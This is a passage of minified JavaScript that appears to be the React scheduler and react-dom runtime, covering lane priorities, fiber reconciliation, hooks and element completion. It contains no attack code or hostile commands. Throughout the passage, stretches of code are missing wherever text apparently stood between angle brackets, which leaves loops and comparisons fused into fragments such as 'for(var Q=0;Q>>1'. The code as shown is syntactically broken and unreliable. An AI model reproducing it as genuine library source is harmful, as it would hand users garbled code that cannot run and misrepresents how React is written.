typeof D=="object"&&D!==null&&D.key!=null?V(""+D.key):X.toString(36)}function ce(D){switch(D.status){case"fulfilled":return D.value;case"rejected":throw D.reason;default:switch(typeof D.status=="string"?D.then(P,P):(D.status="pending",D.then(function(X){D.status==="pending"&&(D.status="fulfilled",D.value=X)},function(X){D.status==="pending"&&(D.status="rejected",D.reason=X)})),D.status){case"fulfilled":return D.value;case"rejected":throw D.reason}}throw D}function L(D,X,ae,se,me){var xe=typeof D;(xe==="undefined"||xe==="boolean")&&(D=null);var ee=!1;if(D===null)ee=!0;else switch(xe){case"bigint":case"string":case"number":ee=!0;break;case"object":switch(D.$$typeof){case e:case t:ee=!0;break;case p:return ee=D._init,L(ee(D._payload),X,ae,se,me)}}if(ee)return me=me(D),ee=se===""?"."+le(D,0):se,M(me)?(ae="",ee!=null&&(ae=ee.replace(oe,"$&/")+"/"),L(me,X,ae,"",function(fe){return fe})):me!=null&&(U(me)&&(me=q(me,ae+(me.key==null||D&&D.key===me.key?"":(""+me.key).replace(oe,"$&/")+"/")+ee)),X.push(me)),1;ee=0;var _e=se===""?".":se+":";if(M(D))for(var Q=0;Q>>1,de=L[Z];if(0>>1;Zi(ae,$))sei(me,ae)?(L[Z]=me,L[se]=$,Z=se):(L[Z]=ae,L[X]=$,Z=X);else if(sei(me,$))L[Z]=me,L[se]=$,Z=se;else break e}}return F}function i(L,F){var $=L.sortIndex-F.sortIndex;return $!==0?$:L.id-F.id}if(e.unstable_now=void 0,typeof performance=="object"&&typeof performance.now=="function"){var l=performance;e.unstable_now=function(){return l.now()}}else{var c=Date,u=c.now();e.unstable_now=function(){return c.now()-u}}var f=[],h=[],p=1,m=null,y=3,x=!1,S=!1,w=!1,O=!1,A=typeof setTimeout=="function"?setTimeout:null,_=typeof clearTimeout=="function"?clearTimeout:null,T=typeof setImmediate<"u"?setImmediate:null;function j(L){for(var F=n(h);F!==null;){if(F.callback===null)r(h);else if(F.startTime<=L)r(h),F.sortIndex=F.expirationTime,t(f,F);else break;F=n(h)}}function M(L){if(w=!1,j(L),!S)if(n(f)!==null)S=!0,P||(P=!0,V());else{var F=n(h);F!==null&&ce(M,F.startTime-L)}}var P=!1,R=-1,I=5,B=-1;function q(){return O?!0:!(e.unstable_now()-BL&&q());){var Z=m.callback;if(typeof Z=="function"){m.callback=null,y=m.priorityLevel;var de=Z(m.expirationTime<=L);if(L=e.unstable_now(),typeof de=="function"){m.callback=de,j(L),F=!0;break t}m===n(f)&&r(f),j(L)}else r(f);m=n(f)}if(m!==null)F=!0;else{var D=n(h);D!==null&&ce(M,D.startTime-L),F=!1}}break e}finally{m=null,y=$,x=!1}F=void 0}}finally{F?V():P=!1}}}var V;if(typeof T=="function")V=function(){T(U)};else if(typeof MessageChannel<"u"){var oe=new MessageChannel,le=oe.port2;oe.port1.onmessage=U,V=function(){le.postMessage(null)}}else V=function(){A(U,0)};function ce(L,F){R=A(function(){L(e.unstable_now())},F)}e.unstable_IdlePriority=5,e.unstable_ImmediatePriority=1,e.unstable_LowPriority=4,e.unstable_NormalPriority=3,e.unstable_Profiling=null,e.unstable_UserBlockingPriority=2,e.unstable_cancelCallback=function(L){L.callback=null},e.unstable_forceFrameRate=function(L){0>L||125Z?(L.sortIndex=$,t(h,L),n(f)===null&&L===n(h)&&(w?(_(R),R=-1):w=!0,ce(M,$-Z))):(L.sortIndex=de,t(f,L),S||x||(S=!0,P||(P=!0,V()))),L},e.unstable_shouldYield=q,e.unstable_wrapCallback=function(L){var F=y;return function(){var $=y;y=F;try{return L.apply(this,arguments)}finally{y=$}}}})(ug)),ug}var pA;function j$(){return pA||(pA=1,cg.exports=M$()),cg.exports}var fg={exports:{}},nn={};var mA;function P$(){if(mA)return nn;mA=1;var e=Ul();function t(f){var h="https://react.dev/errors/"+f;if(1"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(e)}catch(t){console.error(t)}}return e(),fg.exports=P$(),fg.exports}var gA;function R$(){if(gA)return tc;gA=1;var e=j$(),t=Ul(),n=sM();function r(a){var o="https://react.dev/errors/"+a;if(1de||(a.current=Z[de],Z[de]=null,de--)}function ae(a,o){de++,Z[de]=a.current,a.current=o}var se=D(null),me=D(null),xe=D(null),ee=D(null);function _e(a,o){switch(ae(xe,o),ae(me,a),ae(se,null),o.nodeType){case 9:case 11:a=(a=o.documentElement)&&(a=a.namespaceURI)?PE(a):0;break;default:if(a=o.tagName,o=o.namespaceURI)o=PE(o),a=RE(o,a);else switch(a){case"svg":a=1;break;case"math":a=2;break;default:a=0}}X(se),ae(se,a)}function Q(){X(se),X(me),X(xe)}function fe(a){a.memoizedState!==null&&ae(ee,a);var o=se.current,s=RE(o,a.type);o!==s&&(ae(me,a),ae(se,s))}function he(a){me.current===a&&(X(se),X(me)),ee.current===a&&(X(ee),Xs._currentValue=$)}var ne,Ke;function je(a){if(ne===void 0)try{throw Error()}catch(s){var o=s.stack.trim().match(/\n( *(at )?)/);ne=o&&o[1]||"",Ke=-1)":-1g||k[d]!==Y[g]){var te=` -`+k[d].replace(" at new "," at ");return a.displayName&&te.includes("")&&(te=te.replace("",a.displayName)),te}while(1<=d&&0<=g);break}}}finally{bt=!1,Error.prepareStackTrace=s}return(s=a?a.displayName||a.name:"")?je(s):""}function Cn(a,o){switch(a.tag){case 26:case 27:case 5:return je(a.type);case 16:return je("Lazy");case 13:return a.child!==o&&o!==null?je("Suspense Fallback"):je("Suspense");case 19:return je("SuspenseList");case 0:case 15:return xt(a.type,!1);case 11:return xt(a.type.render,!1);case 1:return xt(a.type,!0);case 31:return je("Activity");default:return""}}function ls(a){try{var o="",s=null;do o+=Cn(a,s),s=a,a=a.return;while(a);return o}catch(d){return` -Error generating stack: `+d.message+` -`+d.stack}}var Vp=Object.prototype.hasOwnProperty,Kp=e.unstable_scheduleCallback,Yp=e.unstable_cancelCallback,a5=e.unstable_shouldYield,i5=e.unstable_requestPaint,_n=e.unstable_now,o5=e.unstable_getCurrentPriorityLevel,uw=e.unstable_ImmediatePriority,fw=e.unstable_UserBlockingPriority,yu=e.unstable_NormalPriority,l5=e.unstable_LowPriority,dw=e.unstable_IdlePriority,s5=e.log,c5=e.unstable_setDisableYieldValue,ss=null,Tn=null;function Ba(a){if(typeof s5=="function"&&c5(a),Tn&&typeof Tn.setStrictMode=="function")try{Tn.setStrictMode(ss,a)}catch{}}var Nn=Math.clz32?Math.clz32:d5,u5=Math.log,f5=Math.LN2;function d5(a){return a>>>=0,a===0?32:31-(u5(a)/f5|0)|0}var bu=256,xu=262144,wu=4194304;function Ni(a){var o=a&42;if(o!==0)return o;switch(a&-a){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:return 64;case 128:return 128;case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:return a&261888;case 262144:case 524288:case 1048576:case 2097152:return a&3932160;case 4194304:case 8388608:case 16777216:case 33554432:return a&62914560;case 67108864:return 67108864;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 0;default:return a}}function Su(a,o,s){var d=a.pendingLanes;if(d===0)return 0;var g=0,b=a.suspendedLanes,C=a.pingedLanes;a=a.warmLanes;var N=d&134217727;return N!==0?(d=N&~b,d!==0?g=Ni(d):(C&=N,C!==0?g=Ni(C):s||(s=N&~a,s!==0&&(g=Ni(s))))):(N=d&~b,N!==0?g=Ni(N):C!==0?g=Ni(C):s||(s=d&~a,s!==0&&(g=Ni(s)))),g===0?0:o!==0&&o!==g&&(o&b)===0&&(b=g&-g,s=o&-o,b>=s||b===32&&(s&4194048)!==0)?o:g}function cs(a,o){return(a.pendingLanes&~(a.suspendedLanes&~a.pingedLanes)&o)===0}function h5(a,o){switch(a){case 1:case 2:case 4:case 8:case 64:return o+250;case 16:case 32:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return o+5e3;case 4194304:case 8388608:case 16777216:case 33554432:return-1;case 67108864:case 134217728:case 268435456:case 536870912:case 1073741824:return-1;default:return-1}}function hw(){var a=wu;return wu<<=1,(wu&62914560)===0&&(wu=4194304),a}function Gp(a){for(var o=[],s=0;31>s;s++)o.push(a);return o}function us(a,o){a.pendingLanes|=o,o!==268435456&&(a.suspendedLanes=0,a.pingedLanes=0,a.warmLanes=0)}function p5(a,o,s,d,g,b){var C=a.pendingLanes;a.pendingLanes=s,a.suspendedLanes=0,a.pingedLanes=0,a.warmLanes=0,a.expiredLanes&=s,a.entangledLanes&=s,a.errorRecoveryDisabledLanes&=s,a.shellSuspendCounter=0;var N=a.entanglements,k=a.expirationTimes,Y=a.hiddenUpdates;for(s=C&~s;0"u")return null;try{return a.activeElement||a.body}catch{return a.body}}var x5=/[\n"\\]/g;function Yn(a){return a.replace(x5,function(o){return"\\"+o.charCodeAt(0).toString(16)+" "})}function em(a,o,s,d,g,b,C,N){a.name="",C!=null&&typeof C!="function"&&typeof C!="symbol"&&typeof C!="boolean"?a.type=C:a.removeAttribute("type"),o!=null?C==="number"?(o===0&&a.value===""||a.value!=o)&&(a.value=""+Kn(o)):a.value!==""+Kn(o)&&(a.value=""+Kn(o)):C!=="submit"&&C!=="reset"||a.removeAttribute("value"),o!=null?tm(a,C,Kn(o)):s!=null?tm(a,C,Kn(s)):d!=null&&a.removeAttribute("value"),g==null&&b!=null&&(a.defaultChecked=!!b),g!=null&&(a.checked=g&&typeof g!="function"&&typeof g!="symbol"),N!=null&&typeof N!="function"&&typeof N!="symbol"&&typeof N!="boolean"?a.name=""+Kn(N):a.removeAttribute("name")}function Cw(a,o,s,d,g,b,C,N){if(b!=null&&typeof b!="function"&&typeof b!="symbol"&&typeof b!="boolean"&&(a.type=b),o!=null||s!=null){if(!(b!=="submit"&&b!=="reset"||o!=null)){Jp(a);return}s=s!=null?""+Kn(s):"",o=o!=null?""+Kn(o):s,N||o===a.value||(a.value=o),a.defaultValue=o}d=d??g,d=typeof d!="function"&&typeof d!="symbol"&&!!d,a.checked=N?a.checked:!!d,a.defaultChecked=!!d,C!=null&&typeof C!="function"&&typeof C!="symbol"&&typeof C!="boolean"&&(a.name=C),Jp(a)}function tm(a,o,s){o==="number"&&Au(a.ownerDocument)===a||a.defaultValue===""+s||(a.defaultValue=""+s)}function ko(a,o,s,d){if(a=a.options,o){o={};for(var g=0;g"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),om=!1;if(Zr)try{var ps={};Object.defineProperty(ps,"passive",{get:function(){om=!0}}),window.addEventListener("test",ps,ps),window.removeEventListener("test",ps,ps)}catch{om=!1}var Ha=null,lm=null,_u=null;function Rw(){if(_u)return _u;var a,o=lm,s=o.length,d,g="value"in Ha?Ha.value:Ha.textContent,b=g.length;for(a=0;a=gs),$w=" ",Bw=!1;function Uw(a,o){switch(a){case"keyup":return G5.indexOf(o.keyCode)!==-1;case"keydown":return o.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function Hw(a){return a=a.detail,typeof a=="object"&&"data"in a?a.data:null}var $o=!1;function X5(a,o){switch(a){case"compositionend":return Hw(o);case"keypress":return o.which!==32?null:(Bw=!0,$w);case"textInput":return a=o.data,a===$w&&Bw?null:a;default:return null}}function Z5(a,o){if($o)return a==="compositionend"||!dm&&Uw(a,o)?(a=Rw(),_u=lm=Ha=null,$o=!1,a):null;switch(a){case"paste":return null;case"keypress":if(!(o.ctrlKey||o.altKey||o.metaKey)||o.ctrlKey&&o.altKey){if(o.char&&1=o)return{node:s,offset:o-a};a=d}e:{for(;s;){if(s.nextSibling){s=s.nextSibling;break e}s=s.parentNode}s=void 0}s=Xw(s)}}function Qw(a,o){return a&&o?a===o?!0:a&&a.nodeType===3?!1:o&&o.nodeType===3?Qw(a,o.parentNode):"contains"in a?a.contains(o):a.compareDocumentPosition?!!(a.compareDocumentPosition(o)&16):!1:!1}function Jw(a){a=a!=null&&a.ownerDocument!=null&&a.ownerDocument.defaultView!=null?a.ownerDocument.defaultView:window;for(var o=Au(a.document);o instanceof a.HTMLIFrameElement;){try{var s=typeof o.contentWindow.location.href=="string"}catch{s=!1}if(s)a=o.contentWindow;else break;o=Au(a.document)}return o}function mm(a){var o=a&&a.nodeName&&a.nodeName.toLowerCase();return o&&(o==="input"&&(a.type==="text"||a.type==="search"||a.type==="tel"||a.type==="url"||a.type==="password")||o==="textarea"||a.contentEditable==="true")}var i4=Zr&&"documentMode"in document&&11>=document.documentMode,Bo=null,vm=null,ws=null,gm=!1;function eS(a,o,s){var d=s.window===s?s.document:s.nodeType===9?s:s.ownerDocument;gm||Bo==null||Bo!==Au(d)||(d=Bo,"selectionStart"in d&&mm(d)?d={start:d.selectionStart,end:d.selectionEnd}:(d=(d.ownerDocument&&d.ownerDocument.defaultView||window).getSelection(),d={anchorNode:d.anchorNode,anchorOffset:d.anchorOffset,focusNode:d.focusNode,focusOffset:d.focusOffset}),ws&&xs(ws,d)||(ws=d,d=wf(vm,"onSelect"),0>=C,g-=C,Tr=1<<32-Nn(o)+g|s<Re?($e=be,be=null):$e=be.sibling;var He=W(H,be,K[Re],re);if(He===null){be===null&&(be=$e);break}a&&be&&He.alternate===null&&o(H,be),z=b(He,z,Re),Ue===null?Se=He:Ue.sibling=He,Ue=He,be=$e}if(Re===K.length)return s(H,be),Be&&Jr(H,Re),Se;if(be===null){for(;ReRe?($e=be,be=null):$e=be.sibling;var ui=W(H,be,He.value,re);if(ui===null){be===null&&(be=$e);break}a&&be&&ui.alternate===null&&o(H,be),z=b(ui,z,Re),Ue===null?Se=ui:Ue.sibling=ui,Ue=ui,be=$e}if(He.done)return s(H,be),Be&&Jr(H,Re),Se;if(be===null){for(;!He.done;Re++,He=K.next())He=ie(H,He.value,re),He!==null&&(z=b(He,z,Re),Ue===null?Se=He:Ue.sibling=He,Ue=He);return Be&&Jr(H,Re),Se}for(be=d(be);!He.done;Re++,He=K.next())He=J(be,H,Re,He.value,re),He!==null&&(a&&He.alternate!==null&&be.delete(He.key===null?Re:He.key),z=b(He,z,Re),Ue===null?Se=He:Ue.sibling=He,Ue=He);return a&&be.forEach(function(A$){return o(H,A$)}),Be&&Jr(H,Re),Se}function Je(H,z,K,re){if(typeof K=="object"&&K!==null&&K.type===w&&K.key===null&&(K=K.props.children),typeof K=="object"&&K!==null){switch(K.$$typeof){case x:e:{for(var Se=K.key;z!==null;){if(z.key===Se){if(Se=K.type,Se===w){if(z.tag===7){s(H,z.sibling),re=g(z,K.props.children),re.return=H,H=re;break e}}else if(z.elementType===Se||typeof Se=="object"&&Se!==null&&Se.$$typeof===I&&Bi(Se)===z.type){s(H,z.sibling),re=g(z,K.props),_s(re,K),re.return=H,H=re;break e}s(H,z);break}else o(H,z);z=z.sibling}K.type===w?(re=ki(K.props.children,H.mode,re,K.key),re.return=H,H=re):(re=Iu(K.type,K.key,K.props,null,H.mode,re),_s(re,K),re.return=H,H=re)}return C(H);case S:e:{for(Se=K.key;z!==null;){if(z.key===Se)if(z.tag===4&&z.stateNode.containerInfo===K.containerInfo&&z.stateNode.implementation===K.implementation){s(H,z.sibling),re=g(z,K.children||[]),re.return=H,H=re;break e}else{s(H,z);break}else o(H,z);z=z.sibling}re=Em(K,H.mode,re),re.return=H,H=re}return C(H);case I:return K=Bi(K),Je(H,z,K,re)}if(ce(K))return ve(H,z,K,re);if(V(K)){if(Se=V(K),typeof Se!="function")throw Error(r(150));return K=Se.call(K),Ae(H,z,K,re)}if(typeof K.then=="function")return Je(H,z,Fu(K),re);if(K.$$typeof===T)return Je(H,z,Bu(H,K),re);Vu(H,K)}return typeof K=="string"&&K!==""||typeof K=="number"||typeof K=="bigint"?(K=""+K,z!==null&&z.tag===6?(s(H,z.sibling),re=g(z,K),re.return=H,H=re):(s(H,z),re=Om(K,H.mode,re),re.return=H,H=re),C(H)):s(H,z)}return function(H,z,K,re){try{Cs=0;var Se=Je(H,z,K,re);return Zo=null,Se}catch(be){if(be===Xo||be===Hu)throw be;var Ue=jn(29,be,null,H.mode);return Ue.lanes=re,Ue.return=H,Ue}}}var Hi=OS(!0),ES=OS(!1),Ya=!1;function Lm(a){a.updateQueue={baseState:a.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,lanes:0,hiddenCallbacks:null},callbacks:null}}function Im(a,o){a=a.updateQueue,o.updateQueue===a&&(o.updateQueue={baseState:a.baseState,firstBaseUpdate:a.firstBaseUpdate,lastBaseUpdate:a.lastBaseUpdate,shared:a.shared,callbacks:null})}function Ga(a){return{lane:a,tag:0,payload:null,callback:null,next:null}}function Wa(a,o,s){var d=a.updateQueue;if(d===null)return null;if(d=d.shared,(Ve&2)!==0){var g=d.pending;return g===null?o.next=o:(o.next=g.next,g.next=o),d.pending=o,o=Lu(a),lS(a,null,s),o}return ku(a,d,o,s),Lu(a)}function Ts(a,o,s){if(o=o.updateQueue,o!==null&&(o=o.shared,(s&4194048)!==0)){var d=o.lanes;d&=a.pendingLanes,s|=d,o.lanes=s,mw(a,s)}}function zm(a,o){var s=a.updateQueue,d=a.alternate;if(d!==null&&(d=d.updateQueue,s===d)){var g=null,b=null;if(s=s.firstBaseUpdate,s!==null){do{var C={lane:s.lane,tag:s.tag,payload:s.payload,callback:null,next:null};b===null?g=b=C:b=b.next=C,s=s.next}while(s!==null);b===null?g=b=o:b=b.next=o}else g=b=o;s={baseState:d.baseState,firstBaseUpdate:g,lastBaseUpdate:b,shared:d.shared,callbacks:d.callbacks},a.updateQueue=s;return}a=s.lastBaseUpdate,a===null?s.firstBaseUpdate=o:a.next=o,s.lastBaseUpdate=o}var $m=!1;function Ns(){if($m){var a=Wo;if(a!==null)throw a}}function Ms(a,o,s,d){$m=!1;var g=a.updateQueue;Ya=!1;var b=g.firstBaseUpdate,C=g.lastBaseUpdate,N=g.shared.pending;if(N!==null){g.shared.pending=null;var k=N,Y=k.next;k.next=null,C===null?b=Y:C.next=Y,C=k;var te=a.alternate;te!==null&&(te=te.updateQueue,N=te.lastBaseUpdate,N!==C&&(N===null?te.firstBaseUpdate=Y:N.next=Y,te.lastBaseUpdate=k))}if(b!==null){var ie=g.baseState;C=0,te=Y=k=null,N=b;do{var W=N.lane&-536870913,J=W!==N.lane;if(J?(ze&W)===W:(d&W)===W){W!==0&&W===Go&&($m=!0),te!==null&&(te=te.next={lane:0,tag:N.tag,payload:N.payload,callback:null,next:null});e:{var ve=a,Ae=N;W=o;var Je=s;switch(Ae.tag){case 1:if(ve=Ae.payload,typeof ve=="function"){ie=ve.call(Je,ie,W);break e}ie=ve;break e;case 3:ve.flags=ve.flags&-65537|128;case 0:if(ve=Ae.payload,W=typeof ve=="function"?ve.call(Je,ie,W):ve,W==null)break e;ie=m({},ie,W);break e;case 2:Ya=!0}}W=N.callback,W!==null&&(a.flags|=64,J&&(a.flags|=8192),J=g.callbacks,J===null?g.callbacks=[W]:J.push(W))}else J={lane:W,tag:N.tag,payload:N.payload,callback:N.callback,next:null},te===null?(Y=te=J,k=ie):te=te.next=J,C|=W;if(N=N.next,N===null){if(N=g.shared.pending,N===null)break;J=N,N=J.next,J.next=null,g.lastBaseUpdate=J,g.shared.pending=null}}while(!0);te===null&&(k=ie),g.baseState=k,g.firstBaseUpdate=Y,g.lastBaseUpdate=te,b===null&&(g.shared.lanes=0),ei|=C,a.lanes=C,a.memoizedState=ie}}function AS(a,o){if(typeof a!="function")throw Error(r(191,a));a.call(o)}function CS(a,o){var s=a.callbacks;if(s!==null)for(a.callbacks=null,a=0;ab?b:8;var C=L.T,N={};L.T=N,av(a,!1,o,s);try{var k=g(),Y=L.S;if(Y!==null&&Y(N,k),k!==null&&typeof k=="object"&&typeof k.then=="function"){var te=p4(k,d);Rs(a,o,te,Ln(a))}else Rs(a,o,d,Ln(a))}catch(ie){Rs(a,o,{then:function(){},status:"rejected",reason:ie},Ln())}finally{F.p=b,C!==null&&N.types!==null&&(C.types=N.types),L.T=C}}function x4(){}function nv(a,o,s,d){if(a.tag!==5)throw Error(r(476));var g=aO(a).queue;rO(a,g,o,$,s===null?x4:function(){return iO(a),s(d)})}function aO(a){var o=a.memoizedState;if(o!==null)return o;o={memoizedState:$,baseState:$,baseQueue:null,queue:{pending:null,lanes:0,dispatch:null,lastRenderedReducer:ra,lastRenderedState:$},next:null};var s={};return o.next={memoizedState:s,baseState:s,baseQueue:null,queue:{pending:null,lanes:0,dispatch:null,lastRenderedReducer:ra,lastRenderedState:s},next:null},a.memoizedState=o,a=a.alternate,a!==null&&(a.memoizedState=o),o}function iO(a){var o=aO(a);o.next===null&&(o=a.alternate.memoizedState),Rs(a,o.next.queue,{},Ln())}function rv(){return Wt(Xs)}function oO(){return St().memoizedState}function lO(){return St().memoizedState}function w4(a){for(var o=a.return;o!==null;){switch(o.tag){case 24:case 3:var s=Ln();a=Ga(s);var d=Wa(o,a,s);d!==null&&(Sn(d,o,s),Ts(d,o,s)),o={cache:Pm()},a.payload=o;return}o=o.return}}function S4(a,o,s){var d=Ln();s={lane:d,revertLane:0,gesture:null,action:s,hasEagerState:!1,eagerState:null,next:null},tf(a)?cO(o,s):(s=wm(a,o,s,d),s!==null&&(Sn(s,a,d),uO(s,o,d)))}function sO(a,o,s){var d=Ln();Rs(a,o,s,d)}function Rs(a,o,s,d){var g={lane:d,revertLane:0,gesture:null,action:s,hasEagerState:!1,eagerState:null,next:null};if(tf(a))cO(o,g);else{var b=a.alternate;if(a.lanes===0&&(b===null||b.lanes===0)&&(b=o.lastRenderedReducer,b!==null))try{var C=o.lastRenderedState,N=b(C,s);if(g.hasEagerState=!0,g.eagerState=N,Mn(N,C))return ku(a,o,g,0),tt===null&&Du(),!1}catch{}if(s=wm(a,o,g,d),s!==null)return Sn(s,a,d),uO(s,o,d),!0}return!1}function av(a,o,s,d){if(d={lane:2,revertLane:Lv(),gesture:null,action:d,hasEagerState:!1,eagerState:null,next:null},tf(a)){if(o)throw Error(r(479))}else o=wm(a,s,d,2),o!==null&&Sn(o,a,2)}function tf(a){var o=a.alternate;return a===Pe||o!==null&&o===Pe}function cO(a,o){Jo=Gu=!0;var s=a.pending;s===null?o.next=o:(o.next=s.next,s.next=o),a.pending=o}function uO(a,o,s){if((s&4194048)!==0){var d=o.lanes;d&=a.pendingLanes,s|=d,o.lanes=s,mw(a,s)}}var Ds={readContext:Wt,use:Zu,useCallback:mt,useContext:mt,useEffect:mt,useImperativeHandle:mt,useLayoutEffect:mt,useInsertionEffect:mt,useMemo:mt,useReducer:mt,useRef:mt,useState:mt,useDebugValue:mt,useDeferredValue:mt,useTransition:mt,useSyncExternalStore:mt,useId:mt,useHostTransitionStatus:mt,useFormState:mt,useActionState:mt,useOptimistic:mt,useMemoCache:mt,useCacheRefresh:mt};Ds.useEffectEvent=mt;var fO={readContext:Wt,use:Zu,useCallback:function(a,o){return sn().memoizedState=[a,o===void 0?null:o],a},useContext:Wt,useEffect:GS,useImperativeHandle:function(a,o,s){s=s!=null?s.concat([a]):null,Ju(4194308,4,QS.bind(null,o,a),s)},useLayoutEffect:function(a,o){return Ju(4194308,4,a,o)},useInsertionEffect:function(a,o){Ju(4,2,a,o)},useMemo:function(a,o){var s=sn();o=o===void 0?null:o;var d=a();if(qi){Ba(!0);try{a()}finally{Ba(!1)}}return s.memoizedState=[d,o],d},useReducer:function(a,o,s){var d=sn();if(s!==void 0){var g=s(o);if(qi){Ba(!0);try{s(o)}finally{Ba(!1)}}}else g=o;return d.memoizedState=d.baseState=g,a={pending:null,lanes:0,dispatch:null,lastRenderedReducer:a,lastRenderedState:g},d.queue=a,a=a.dispatch=S4.bind(null,Pe,a),[d.memoizedState,a]},useRef:function(a){var o=sn();return a={current:a},o.memoizedState=a},useState:function(a){a=Zm(a);var o=a.queue,s=sO.bind(null,Pe,o);return o.dispatch=s,[a.memoizedState,s]},useDebugValue:ev,useDeferredValue:function(a,o){var s=sn();return tv(s,a,o)},useTransition:function(){var a=Zm(!1);return a=rO.bind(null,Pe,a.queue,!0,!1),sn().memoizedState=a,[!1,a]},useSyncExternalStore:function(a,o,s){var d=Pe,g=sn();if(Be){if(s===void 0)throw Error(r(407));s=s()}else{if(s=o(),tt===null)throw Error(r(349));(ze&127)!==0||PS(d,o,s)}g.memoizedState=s;var b={value:s,getSnapshot:o};return g.queue=b,GS(DS.bind(null,d,b,a),[a]),d.flags|=2048,tl(9,{destroy:void 0},RS.bind(null,d,b,s,o),null),s},useId:function(){var a=sn(),o=tt.identifierPrefix;if(Be){var s=Nr,d=Tr;s=(d&~(1<<32-Nn(d)-1)).toString(32)+s,o="_"+o+"R_"+s,s=Wu++,0<\/script>",b=b.removeChild(b.firstChild);break;case"select":b=typeof d.is=="string"?C.createElement("select",{is:d.is}):C.createElement("select"),d.multiple?b.multiple=!0:d.size&&(b.size=d.size);break;default:b=typeof d.is=="string"?C.createElement(g,{is:d.is}):C.createElement(g)}}b[Yt]=o,b[vn]=d;e:for(C=o.child;C!==null;){if(C.tag===5||C.tag===6)b.appendChild(C.stateNode);else if(C.tag!==4&&C.tag!==27&&C.child!==null){C.child.return=C,C=C.child;continue}if(C===o)break e;for(;C.sibling===null;){if(C.return===null||C.return===o)break e;C=C.return}C.sibling.return=C.return,C=C.sibling}o.stateNode=b;e:switch(Zt(b,g,d),g){case"button":case"input":case"select":case"textarea":d=!!d.autoFocus;break e;case"img":d=!0;break e;default:d=!1}d&&ia(o)}}return it(o),yv(o,o.type,a===null?null:a.memoizedProps,o.pendingProps,s),null;case 6:if(a&&o.stateNode!=null)a.memoizedProps!==d&&ia(o);else{if(typeof d!="string"&&o.stateNode===null)throw Error(r(166));if(a=xe.current,Ko(o)){if(a=o.stateNode,s=o.memoizedProps,d=null,g=Gt,g!==null)switch(g.tag){case 27:case 5:d=g.memoizedProps}a[Yt]=o,a=!!(a.nodeValue===s||d!==null&&d.suppressHydrationWarning===!0||ME(a.nodeValue,s)),a||Va(o,!0)}else a=Sf(a).createTextNode(d),a[Yt]=o,o.stateNode=a}return it(o),null;case 31:if(s=o.memoizedState,a===null||a.memoizedState!==null){if(d=Ko(o),s!==null){if(a===null){if(!d)throw Error(r(318));if(a=o.memoizedState,a=a!==null?a.dehydrated:null,!a)throw Error(r(557));a[Yt]=o}else Li(),(o.flags&128)===0&&(o.memoizedState=null),o.flags|=4;it(o),a=!1}else s=Tm(),a!==null&&a.memoizedState!==null&&(a.memoizedState.hydrationErrors=s),a=!0;if(!a)return o.flags&256?(Rn(o),o):(Rn(o),null);if((o.flags&128)!==0)throw Error(r(558))}return it(o),null;case 13:if(d=o.memoizedState,a===null||a.memoizedState!==null&&a.memoizedState.dehydrated!==null){if(g=Ko(o),d!==null&&d.dehydrated!==null){if(a===null){if(!g)throw Error(r(318));if(g=o.memoizedState,g=g!==null?g.dehydrated:null,!g)throw Error(r(317));g[Yt]=o}else Li(),(o.flags&128)===0&&(o.memoizedState=null),o.flags|=4;it(o),g=!1}else g=Tm(),a!==null&&a.memoizedState!==null&&(a.memoizedState.hydrationErrors=g),g=!0;if(!g)return o.flags&256?(Rn(o),o):(Rn(o),null)}return Rn(o),(o.flags&128)!==0?(o.lanes=s,o):(s=d!==null,a=a!==null&&a.memoizedState!==null,s&&(d=o.child,g=null,d.alternate!==null&&d.alternate.memoizedState!==null&&d.alternate.memoizedState.cachePool!==null&&(g=d.alternate.memoizedState.cachePool.pool),b=null,d.memoizedState!==null&&d.memoizedState.cachePool!==null&&(b=d.memoizedState.cachePool.pool),b!==g&&(d.flags|=2048)),s!==a&&s&&(o.child.flags|=8192),lf(o,o.updateQueue),it(o),null);case 4:return Q(),a===null&&Bv(o.stateNode.containerInfo),it(o),null;case 10:return ta(o.type),it(o),null;case 19:if(X(wt),d=o.memoizedState,d===null)return it(o),null;if(g=(o.flags&128)!==0,b=d.rendering,b===null)if(g)Ls(d,!1);else{if(vt!==0||a!==null&&(a.flags&128)!==0)for(a=o.child;a!==null;){if(b=Yu(a),b!==null){for(o.flags|=128,Ls(d,!1),a=b.updateQueue,o.updateQueue=a,lf(o,a),o.subtreeFlags=0,a=s,s=o.child;s!==null;)sS(s,a),s=s.sibling;return ae(wt,wt.current&1|2),Be&&Jr(o,d.treeForkCount),o.child}a=a.sibling}d.tail!==null&&_n()>df&&(o.flags|=128,g=!0,Ls(d,!1),o.lanes=4194304)}else{if(!g)if(a=Yu(b),a!==null){if(o.flags|=128,g=!0,a=a.updateQueue,o.updateQueue=a,lf(o,a),Ls(d,!0),d.tail===null&&d.tailMode==="hidden"&&!b.alternate&&!Be)return it(o),null}else 2*_n()-d.renderingStartTime>df&&s!==536870912&&(o.flags|=128,g=!0,Ls(d,!1),o.lanes=4194304);d.isBackwards?(b.sibling=o.child,o.child=b):(a=d.last,a!==null?a.sibling=b:o.child=b,d.last=b)}return d.tail!==null?(a=d.tail,d.rendering=a,d.tail=a.sibling,d.renderingStartTime=_n(),a.sibling=null,s=wt.current,ae(wt,g?s&1|2:s&1),Be&&Jr(o,d.treeForkCount),a):(it(o),null);case 22:case 23:return Rn(o),Um(),d=o.memoizedState!==null,a!==null?a.memoizedState!==null!==d&&(o.flags|=8192):d&&(o.flags|=8192),d?(s&536870912)!==0&&(o.flags&128)===0&&(it(o),o.subtreeFlags&6&&(o.flags|=8192)):it(o),s=o.updateQueue,s!==null&&lf(o,s.retryQueue),s=null,a!==null&&a.memoizedState!==null&&a.memoizedState.cachePool!==null&&(s=a.memoizedState.cachePool.pool),d=null,o.memoizedState!==null&&o.memoizedState.cachePool!==null&&(d=o.memoizedState.cachePool.pool),d!==s&&(o.flags|=2048),a!==null&&X($i),null;case 24:return 